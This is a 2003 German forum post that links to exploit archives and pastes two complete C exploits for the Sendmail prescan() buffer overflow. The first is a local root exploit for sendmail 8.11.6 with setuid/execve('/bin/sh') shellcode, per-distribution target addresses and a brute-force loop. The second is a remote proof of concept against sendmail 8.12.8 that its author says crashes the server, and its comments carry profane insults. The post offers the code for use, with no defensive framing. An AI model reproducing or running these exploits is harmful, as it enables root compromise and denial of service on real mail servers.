Einzelnen Beitrag anzeigen
Alt 07.07.03, 14:10   #7 (permalink)
poiin2000
Member of Honour
 
Registriert seit: 06.03.03
poiin2000 Leistung: Facit NTK
Likes: 3
Standard

http://www.securityfocus.com/bid/7230/exploit/

http://packetstormsecurity.nl/UNIX/m....8.12.3.tar.gz
http://packetstormsecurity.org/UNIX/....8.12.8.tar.gz
http://packetstormsecurity.nl/UNIX/m....8.12.9.tar.gz

Code:
/*
 * local exploit for sendmail 8.11.6 
 * by sorbo (sorbox@yahoo.com)
 * http://www.darkircop.org
 *
 * This exploit takes advantage of the vulnerable prescan() function that 
 * allows the user to input 0xff in order to skip the length check of the buffer.
 *
 * The vulnerability was found by Michal Zalewski
 *
 * The goal is to overwrite the 2 lsb of the saved frame pointer and make it 
 * point to an area we control.
 *
 * We can overflow pvpbuf[] in parseaddr() (which calls prescan()) and overwrite 
 * parseaddr's saved frame pointer. 
 * When parseaddr() returns, the control is back to sendtolist() but the frame pointer
 * will be modified (we make it point to somewhere in pvpbuf).
 * We can't just fill pvpbuf with the ret value we want, since sendtolist() doesn't
 * exit right away, but instead makes use of some variables.
 * We need therefore to construct pvpbuf in an intelligent way, so references to variables
 * will be valid.
 * The first variable to set is delimptr (located at ebp - something). 
 * We simply make this point to a 0, so the for loop exits.
 * The next variable to set is al (located at ebp - something ). We need to make a->q_next 
 * point to 0 so the while loop exits. a->q_next is a+11*4.
 * The next variable is e (ebp + something). We make it point to a 0
 * The next variable is bufp (ebp - something). This needs to be equal to buf to skip the free.
 * This cannot be done since the address contains a 0xff and this cannot be input in pvpbuf.
 * We just make it point to a valid chunk (in our case... our fake chunk). We can't make it point
 * to stack since arena_for_ptr() will fail. Luckily our arguments get copied on the heap, so we 
 * just point it to that.
 * Next we just set the ret (ebp + 4) to our shellcode and when sendtolist() exits our
 * shellcode will be executed. Note shellcode is even copied on heap, so non executable stacks will not
 * stop the exploit (the ret addr must match the shellcode location on the heap though)
 *
 * Note that if we overflow ebp by only one byte (putting a 0) i.e. the classical way
 * will not work since the register will not point to pvpbuf. What we do is overwrite two
 * bytes with 0x005c. Then we fill up the stack (by passing a long argument) so we lower the 
 * address of pvpbuf untill it is in the range of the ebp. Also our shellcode will be at a low
 * stack address < 0xbffefefe (since we cannot write 0xff in pvpbuf).
 *
 * NOTE: sendmail 8.12.8 cannot be exploited this way since there is an assert() which cannot
 * be bypassed (in sendtolist()).
 *
 * have fun
 *
 * Greetz: Knight420, Stefano Biondi, nevez
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
              

char shellcode[] =
	/* NOPs (so we don't have to be exact in shellcode addr calculation) */
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

        /* setuid(0); */
        "\x31\xdb"                              /* xor %ebx,%ebx */
        "\x89\xd8"                              /* mov %ebx,%eax */
        "\xb0\x17"                              /* mov $0x17,%al */
        "\xcd\x80"                              /* int $0x80     */

        /* setgid(0); */
        "\x31\xdb"                              /* xor %ebx,%ebx */
        "\x89\xd8"                              /* mov %ebx,%eax */
        "\xb0\x2e"                              /* mov $0x2e,%al */
        "\xcd\x80"                              /* int $0x80     */

        /* /bin/sh execve(); */
        "\x31\xc0"                              /* xor  %eax,%eax   */
        "\x50"                                  /* push %eax        */
        "\x68\x2f\x2f\x73\x68"                  /* push $0x68732f2f */
        "\x68\x2f\x62\x69\x6e"                  /* push $0x6e69622f */
        "\x89\xe3"                              /* mov  %esp,%ebx   */
        "\x50"                                  /* push %eax        */
        "\x53"                                  /* push %ebx        */
        "\x89\xe1"                              /* mov  %esp,%ecx   */
        "\x31\xd2"                              /* xor  %edx,%edx   */
        "\xb0\x0b"                              /* mov  $0xb,%al    */
        "\xcd\x80"                              /* int  $0x80       */

        /* exit(0); */
        "\x31\xdb"                              /* xor %ebx,%ebx */
        "\x89\xd8"                              /* mov %ebx,%eax */
        "\xb0\x01"                              /* mov $0x01,%al */
        "\xcd\x80";                             /* int $0x80     */




/* NOTE: not all characters are passable:
 *	0x00 (duh), 0xff, 0x09-0x0d, 0x20-0x22, 0x25, 0x28, 0x29, 0x2b, 0x2c
 *	0x2e,0x2f,0x3a-0x3c,0x3e,0x40,0x5b,0x5d,0x5e,0x80-0x9f 
 *
 * the REAL variables are only pvpbuf and chunk... so don't get scared by all these
 * required variables. Most of them are fixed =D.
 */
struct target_info {
	char *description;	/* target description */
	char *sendmail;		/* sendmail path */
	int stack_len;		/* how much stuff to put in stack */
	int distance;		/* distance in bytes from pvpbuf to last 2 bytes of saved framepointer */
	int ebp;		/* the value ebp will have */
	int pvpbuf;		/* address of pvpbuf */
	int zero;		/* address of a 0 in memory */
	int chunk;		/* address of a chunk to free */
	int ret;		/* address of shellcode (aprox 0xc0000000 - stack_len) */
	int delimptr;		/* delimptr -ebp */
	int al;			/* al - ebp */
	int e;			/* e - ebp */
	int bufp;		/* bufp - ebp */
	
};


struct target_info targets[] = {

	{"Slackware 8.0","/usr/sbin/sendmail",123090,1258,0xbffe005c,0xbffdfef4,0xbffe15d6,0x80f30a0,0xbffe1f36,-264,-268,24,-284},	
        {"Redhat 7.3","/usr/sbin/sendmail.sendmail",123074,1290,0xbffe005c,0xbffdfcd0,0xbffe19a6,0x80f30a0,0xbffe1f36,-300,-304,24,-320},
	{"Redhat 7.2","/usr/sbin/sendmail",123090,1290,0xbffe005c,0xbffdfcd0,0xbffe19a6,0x80f30a0,0xbffe1f36,-300,-304,24,-320}        
};



/* return 1 if successfull
 * 0 if failed
 *
 */
int exploit(struct target_info target) {
	char *stackfiller=0;	/* data to lower stack (we can put fake chunks and shellcode here) */
	char egg[1024*3];	/* the argment to prescan() */
	char *ptr;
	int  *ptr2;
	int i;
	int pid;
	char *arg[] = { "owned",egg,stackfiller,NULL};


	

	/* prepare stack filler */
	stackfiller = (char*) malloc(target.stack_len);
	if(!stackfiller) {
		perror("malloc()");
		exit(0);
	}
	
	memset(stackfiller,'A',target.stack_len);
	*(stackfiller+target.stack_len-1) = 0;

	ptr = stackfiller;
	
        while(1) {
		/* fake chunk */
	        char *chunk = 	"\xfc\xff\xff\xff"
	        		"\xfc\xff\xff\xff"
	        		"\xa1\xff\xff\xbf"
	        		"\xa1\xff\xff\xbf"	/* yes unlink will overwrite 0xbfffffa1+12 ... but who cares */
	        		"\xa1\xff\xff\xbf";
	        		
                memcpy(ptr,chunk,strlen(chunk));
	        ptr += strlen(chunk);
	                                                       
	        if(ptr + strlen(chunk) >= stackfiller+target.stack_len-1)
	                break;
	}
	memcpy(stackfiller,shellcode,strlen(shellcode));
	arg[2] = stackfiller;		                                                                                                        



	/* prepare egg */
	memset(egg,'A',1200);
	egg[1200] = 0;
	
        for(i=0; i < target.distance - 1200; i++) 
	        strcat(egg,"\xff\\");
	                                	
        /* set delimptr */
        ptr2 = (int*) &egg[target.ebp+target.delimptr-target.pvpbuf];
        *ptr2 = target.zero;

        /* set al  */
        ptr2 = (int*) &egg[target.ebp+target.al-target.pvpbuf];
	*ptr2 = target.zero-11*4;
	
        /* set e  */
        ptr2 = (int*) &egg[target.ebp+target.e-target.pvpbuf];
	*ptr2 = target.zero;
	
	
        /* set bufp */
        ptr2 = (int*) &egg[target.ebp+target.bufp-target.pvpbuf];
	*ptr2 = target.chunk;
	
	/* set ret ebp + 4 */
	ptr2 = (int*) &egg[target.ebp+4-target.pvpbuf];
	*ptr2 = target.ret;
	
	
		        
		

	/* execute program */
	pid = fork();
	if(pid == -1) {
		perror("fork()");
		exit(-1);
	}
	
	/* child */
	if(pid==0) {
		execve(target.sendmail,arg,NULL);
		perror("execve()");
		kill(getpid(),SIGKILL);
		exit(0);
	}
	else {
		int status;
		wait(&status);
		
		if(WIFEXITED(status) == 0)
			return 0;
		return 1;
	}
}


/* 
 * OK here is how we brute force.
 * We need to find two values... a valid chunk to free (our fake chunk)
 * and the pvpbuf addr
 * Since our fake chunk is repeated all over and is 4*5 bytes long,
 * we have 5 possibilites of error in a sequencial search. We try for:
 * chunk,chunk+4,chunk+8,chunk+12,chunk+16
 *
 * pvpbuf addr must be somewhere lower than ebp, specifically ebp + target.bufp (or else
 * the exploit will fail since we cannot overwrite bufp. We start from bruteforcing ebp + target.bufp
 * decreasing by 4 bytes
 *
 */
void bruteforce(struct target_info target) {
	int cincrease = 0;	/* how many times we increased chunk value */
	target.pvpbuf = target.ebp+target.bufp;

	printf("Trying pvpbuf=0x%x\n",target.pvpbuf);

	while(target.ebp - target.pvpbuf < 2000) {	/* exploit will fail since pvpbuf < 2000 bytes */
		if(exploit(target)) {
			printf("Successfull exploitation with pvpbuf=0x%x and chunk=0x%x\n",target.pvpbuf,target.chunk);
			return;
		}
		
		/* make sure it is a "usable" address ... start with a base of 0x0a since u have space untill 0xfe */		
		target.chunk+=4;
		cincrease++;
		if(cincrease > 4) {
			target.chunk -= cincrease*4;	/* start at initial value again */
			cincrease =0;
			target.pvpbuf -= 4;
			printf("Trying pvpbuf=0x%x\n",target.pvpbuf);
		}
	}
	
	printf("Bruteforce failed\n");
}

void print_targets() {
	int tcount = sizeof(targets)/sizeof(struct target_info);
	int i;
	
	printf("Id\tDescription\tpvpbuf\t\tzero\t\tchunk\t\tshellcode addr\n");
	
	for(i = 0; i < tcount; i++) {
		printf("%d)\t%s\t0x%x\t0x%x\t0x%x\t0x%x\n",i,
			targets[i].description,targets[i].pvpbuf,targets[i].zero,targets[i].chunk,targets[i].ret);
	}
	
}

void usage(char *p) {
	printf("Usage: %s <opts>\n",p);
	printf("-h\tthis lame message\n");
	printf("-t\ttarget\n");
	printf("-b\tbrute force\n");
	printf("\n");
	print_targets();
	exit(0);
}

int main(int argc, char *argv[]) {
	int t = 0;
	int brute = 1;
	int opt;

	printf("Local sendmail 8.11.6 exploit by sorbo (sorbox@yahoo.com)\n");

	while( (opt = getopt(argc,argv,"t:bh")) != -1) {
		switch(opt) {
			case 't':
				t = atoi(optarg);
				if(t >= sizeof(targets)/sizeof(struct target_info)) {
					printf("Invalid target %d\n",t);
					exit(0);
				}
				brute = 0;
				break;
				
			case 'b':
				brute = 1;
				break;
				

			case 'h':
			default:
				usage(argv[0]);
		}
	}
	
	printf("Attempting to exploit %s\n",targets[t].description);
	if(brute) {
		bruteforce(targets[t]);
		exit(0);
	}

	printf("pvpbuf=\t\t0x%x\n",targets[t].pvpbuf);
	printf("zero=\t\t0x%x\n",targets[t].zero);
	printf("chunk=\t\t0x%x\n",targets[t].chunk);
	printf("shellcode=\t0x%x\n",targets[t].ret);

	t = exploit(targets[t]);
	if(t)
		printf("Exploit successfull\n");
	else
		printf("Exploit failed... try adding -b\n");

	exit(0);
}
Code:
/*
 * Sendmail 8.12.8 prescan() PROOF OF CONCEPT exploit by bysin
 *      And no i'm not in l33tsecurity
 *
 * AND I'M NOT GOBBLES!
 *
 * --
 * my reflection, dirty mirror 
 * there's no connection to myself
 * i'm your lover. i'm your zero
 * i'm the face in your dreams of glass
 * so save your prayers for when we're really gonna need 'em
 * throw out your cares and fly
 * wanna go for a ride?
 * --
 *
 * This exploit is proof of concept, It has been edited ***NOT*** to work.
 * This is to prove that the bug in sendmail 8.12.8 and below is vulnerable.
 * On sucessful POC exploitation the program should crash with the following:
 *
 * Program received signal SIGSEGV, Segmentation fault.
 * 0x5c5c5c5c in ?? ()
 *
 * Alright so the last sendmail exploit wasnt very good, dont blame me
 * it wasnt exploitable cause of that god damn second buffer kept
 * getting in the way. Fuck it.
 *
 * This would not work on linux cause the offset for addr was someshit like
 * 0xbfffb9c9 and sendmail doesnt allow certain characters like 0xff to be
 * written to the buffer.  Bsd on the other hand has an offset of someshit like
 * 0xbfbfdad1, which is fine.
 * 	{"Red Hat 7.3",88,120,0xbfffb9c9} // wont work :(
 *
 * And fuck you PHC you no talent bunch of fucking script kiddies.  You'll
 * fucking shit your pants when you see a real hacker in action.  No I dont
 * rip code, but you bitchs cant tell a piece of code from an apple pie,
 * so shut the fuck up.
 *
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>

int maxarch=1;
struct arch {
	char *os; // The OS
	int pos; // The position of ebp in the stack, with the last byte being 0x00
	int apos; // The amount of bytes after pvpbuf where ebp is located
	unsigned long addr; // The pointer to the addr buffer
} archs[] = {
	{"FreeBSD 4.7-RELEASE",180,28,0xbfbfdad1},
};


/////////////////////////////////////////////////////////

#define BUFSIZE 50096

void header() {
	printf("Sendmail 8.12.8 prescan() exploit by bysin\n\n");
}

void printtargets() {
	unsigned long i;
	header();
	printf("\t  Target\t Addr\t\t OS\n");
	printf("\t-------------------------------------------\n");
	for (i=0;i<maxarch;i++) printf("\t* %d\t\t 0x%08x\t %s\n",i,archs[i].addr,archs[i].os);
	printf("\n");
}

void printresponse(char *a) {
	printf("%s\n",a);
}

void writesocket(int sock, char *buf) {
	if (send(sock,buf,strlen(buf),0) <= 0) {
		printf("Error writing to socket\n");
		exit(0);
	}
	printresponse(buf);
}

void readsocket(int sock, int response) {
	char temp[BUFSIZE];
	memset(temp,0,sizeof(temp));
	if (recv(sock,temp,sizeof(temp),0) <= 0) {
		printf("Error reading from socket\n");
		exit(0);
	}
	if (response != atol(temp)) {
		printf("Bad response: %s\n",temp);
		exit(0);
	}
	else printresponse(temp);
}

void relay(int sock) {
	while(1) {
		char temp[BUFSIZE];
		memset(temp,0,sizeof(temp));
		if (recv(sock,temp,sizeof(temp),0) <= 0) {
			printf("Server vulnerable (crashed)\n");
			exit(0);
		}
		printresponse(temp);
		if (atol(temp) == 553) {
			printf("Not exploitable\n");
			exit(0);
		}
	}
}

int main(int argc, char **argv) {
	struct sockaddr_in server;
	unsigned long ipaddr,i,j,m;
	int sock,target;
	char tmp[BUFSIZE],buf[BUFSIZE],*p,*pos=NULL;
	if (argc <= 2) {
		printf("%s <target ip> <target number>\n",argv[0]);
		printtargets();
		return 0;
	}
	target=atol(argv[2]);
	if (target < 0 || target >= maxarch) {
		printtargets();
		return 0;
	}

	header();

	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		printf("Unable to create socket\n");
		exit(0);
	}
	server.sin_family = AF_INET;
	server.sin_port = htons(25);
	printf("Resolving address... ");
	fflush(stdout);
	if ((ipaddr = inet_addr(argv[1])) == -1) {
		struct hostent *hostm;
		if ((hostm=gethostbyname(argv[1])) == NULL) {
			printf("Unable to resolve address\n");
			exit(0);
		}
		memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
	}
	else server.sin_addr.s_addr = ipaddr;
	memset(&(server.sin_zero), 0, 8);
	printf("Address found\n");
	printf("Connecting... ");
	fflush(stdout);
	if (connect(sock,(struct sockaddr *)&server, sizeof(server)) != 0) {
		printf("Unable to connect\n");
		exit(0);
	}
	printf("Connected\n");
	printf("Sending exploit... \n");
	fflush(stdout);

	readsocket(sock,220);

	writesocket(sock,"HELO yahoo.com\r\n");
	readsocket(sock,250);

	writesocket(sock,"MAIL FROM: <a@yahoo.com>\r\n");
	readsocket(sock,250);

	memset(buf,0,sizeof(buf));
	strcpy(buf,"RCPT TO: ");
	p=buf+strlen(buf);
	for (i=1,j=0,m=0;i<1242;i++) {
		if (!(i%256)) {
			*p++=';';
			j++;
		}
		else {
			if (j < 4) *p++='A';
			else {
				if (m == archs[target].pos) pos=p;
				//if (m > archs[target].pos) *p++='B'; else
				*p++='A';
				m++;
			}
		}
	}
	if (pos) memcpy(pos,(char*)&archs[target].addr,4);
	*p++=';';
	for (i=0;i<archs[target].apos;i++) {
		*p++='\\';
		*p++=0xff;
	}
	strcat(buf,"\r\n");
	writesocket(sock,buf);

	relay(sock);
}
poiin2000 ist offline   Mit Zitat antworten
 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61